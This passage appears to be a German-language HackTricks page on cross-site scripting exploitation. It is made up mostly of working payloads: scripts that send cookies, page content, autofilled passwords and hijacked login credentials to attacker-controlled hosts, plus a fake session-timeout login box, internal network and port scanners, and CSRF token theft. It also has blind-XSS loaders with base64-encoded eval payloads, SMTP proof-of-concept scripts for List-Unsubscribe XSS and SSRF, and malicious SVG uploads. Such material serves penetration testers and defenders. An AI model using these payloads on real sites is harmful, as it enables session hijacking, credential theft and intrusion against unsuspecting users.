<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Du wirst nicht in der Lage sein, auf die cookies aus JavaScript zuzugreifen, wenn das HTTPOnly-Flag im cookie gesetzt ist. Aber hier hast du einige Möglichkeiten, diesen Schutz zu umgehen, falls du genug Glück hast.

Steal Page Content

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Interne IPs finden

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kurze Zeiten deuten auf einen antwortenden port hin Längere Zeiten deuten auf keine Antwort hin.

Überprüfen Sie die Liste der in Chrome gesperrten ports here und in Firefox here.

Box zum Abfragen von Zugangsdaten

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Auto-fill-Passwörter abfangen

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Wenn beliebige Daten in das password-Feld eingegeben werden, werden username und password an den attackers server gesendet — selbst wenn der Client ein saved password auswählt und nichts eingibt, werden die credentials ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Wenn ein kritischer handler (z. B. function DoLogin(){...}) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. via einem inline JS-in-JS sink), definiere zuerst ein const mit demselben Namen, um den handler vorzuziehen und zu sperren. Spätere function declarations können einen const-Namen nicht neu binden, wodurch dein hook die Kontrolle behält:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Hinweise

  • Das beruht auf der Ausführungsreihenfolge: Ihre injection muss vor der legitimen Deklaration ausgeführt werden.
  • Wenn Ihr Payload in eval(...) eingeschlossen ist, werden const/let-Bindings nicht zu globalen Variablen. Verwenden Sie die dynamische <script> injection-Technik aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um ein echtes globales, nicht neu-bindbares Binding zu gewährleisten.
  • Wenn Keyword-Filter Code blockieren, kombinieren Sie dies mit Unicode-escaped identifiers oder der eval(atob('...'))-Auslieferung, wie oben gezeigt.

Keylogger

Bei einer Suche in github habe ich ein paar verschiedene gefunden:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Stehlen von PostMessage-Nachrichten

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Missbrauch von Service Workers

Abusing Service Workers

Zugriff auf Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Du kannst auch verwenden: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Zugriff auf verborgene Inhalte

Aus this writeup lässt sich lernen, dass selbst wenn einige Werte aus JS verschwinden, sie dennoch in JS-Attributen verschiedener Objekte gefunden werden können. Zum Beispiel kann ein input eines REGEX noch gefunden werden, nachdem der Wert des input des regex entfernt wurde:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force Liste

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS Ausnutzung anderer Schwachstellen

XSS in Markdown

Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du so XSS erzwingen! Schau:

XSS in Markdown

XSS zu SSRF

Hast du XSS auf einer site that uses caching? Versuche, upgrading that to SSRF durch Edge Side Include Injection mit folgendem Payload:

<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.

XSS in dynamically erstellten PDF

Wenn eine Webseite ein PDF mithilfe nutzerkontrollierter Eingaben erstellt, kannst du versuchen, den Bot zu täuschen, der das PDF erstellt, damit er beliebigen JS-Code ausführt.
Wenn der PDF-Erstellungs-Bot HTML tags findet, wird er diese interpretieren, und du kannst dieses Verhalten ausnutzen, um ein Server XSS zu verursachen.

Server Side XSS (Dynamic PDF)

Wenn du keine HTML tags injizieren kannst, kann es sich lohnen, zu versuchen, PDF-Daten zu injizieren:

PDF Injection

XSS in Amp4Email

AMP, das darauf abzielt, die Performance von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML-Tags ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Features, zugänglich über AMP components.

Das AMP for Email Format erweitert bestimmte AMP-Komponenten für E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit Inhalten zu interagieren.

Beispiel writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

Der RFC 2369 List-Unsubscribe Header bettet vom Angreifer kontrollierte URIs ein, die viele Webmail- und Mail-Clients automatisch in “Unsubscribe”-Buttons umwandeln. Wenn diese URIs ohne Validierung gerendert oder abgerufen werden, wird der Header zu einem Injektionspunkt sowohl für stored XSS (wenn der unsubscribe link ins DOM eingefügt wird) als auch für SSRF (wenn der Server die unsubscribe-Anfrage im Auftrag des Nutzers ausführt).

Stored XSS via javascript: URIs

  1. Sende dir selbst eine E-Mail, bei der der Header auf eine javascript:-URI zeigt, während der Rest der Nachricht harmlos bleibt, damit Spamfilter sie nicht löschen.
  2. Stelle sicher, dass die UI den Wert rendert (viele Clients zeigen ihn in einem “List Info”-Bereich) und prüfe, ob das resultierende <a>-Tag angreiferkontrollierte Attribute wie href oder target übernimmt.
  3. Trigger execution (z. B. CTRL+click, Mittelklick oder “in neuem Tab öffnen”), wenn der Link target="_blank" verwendet; Browser werden das gelieferte JavaScript in der Origin der Webmail-Anwendung auswerten.
  4. Beobachte das stored-XSS-Primitiv: die Payload verbleibt mit der E-Mail und benötigt nur einen Klick zur Ausführung.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Das Zeilenumbruch-Byte (%0a) in der URI zeigt, dass selbst ungewöhnliche Zeichen die Rendering-Pipeline in verwundbaren Clients wie Horde IMP H5 überleben, die die Zeichenfolge wortwörtlich innerhalb des anchor tag ausgeben.

Minimaler SMTP PoC, der einen bösartigen List-Unsubscribe header liefert ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Server-side unsubscribe proxies -> SSRF

Einige Clients, wie die Nextcloud Mail app, leiten die Unsubscribe-Aktion serverseitig als Proxy weiter: Ein Klick auf den Button veranlasst den Server, die angegebene URL selbst abzurufen. Dadurch wird der Header zu einer SSRF-Primitive, insbesondere wenn Administratoren 'allow_local_remote_servers' => true setzen (dokumentiert in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), was Anfragen an Loopback- und RFC1918-Bereiche erlaubt.

1. **Erstelle eine E-Mail** bei der `List-Unsubscribe` auf einen vom Angreifer kontrollierten Endpoint zeigt (für blindes SSRF Burp Collaborator / OAST verwenden).
2. **Behalte `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** damit die UI einen Ein-Klick-Abmeldebutton anzeigt.
3. **Erfülle Vertrauensanforderungen**: Nextcloud führt zum Beispiel HTTPS-Unsubscribe-Requests nur aus, wenn die Nachricht die DKIM-Prüfung besteht, daher muss der Angreifer die E-Mail mit einer von ihm kontrollierten Domain signieren.
4. **Sende die Nachricht an ein Postfach, das vom Zielserver verarbeitet wird** und warte, bis ein Benutzer den Abmeldebutton klickt.
5. **Beobachte den serverseitigen Callback** am Collaborator-Endpoint, und pivot zu internen Adressen, sobald die Primitive bestätigt wurde.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signierte List-Unsubscribe-Nachricht für SSRF-Tests ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Testhinweise**

- Verwende einen OAST-Endpunkt, um blind SSRF-Treffer zu sammeln, und passe dann die `List-Unsubscribe`-URL an, um — nach Bestätigung des Primitives — auf `http://127.0.0.1:PORT`, Metadata-Services oder andere interne Hosts zu zielen.
- Da der Unsubscribe-Helfer häufig denselben HTTP-Stack wie die Anwendung wiederverwendet, erbst du dessen Proxy-Einstellungen, HTTP-Verben und Header-Umschreibungen, wodurch weitere Traversal-Tricks ermöglicht werden, die in der [SSRF methodology](../ssrf-server-side-request-forgery/README.md) beschrieben sind.

### XSS: Dateien hochladen (svg)

Lade als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Weitere SVG payloads findest du in https://github.com/allanlw/svg-cheatsheet

Verschiedene JS-Tricks & Relevante Infos

Misc JS Tricks & Relevant Info

XSS-Ressourcen

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks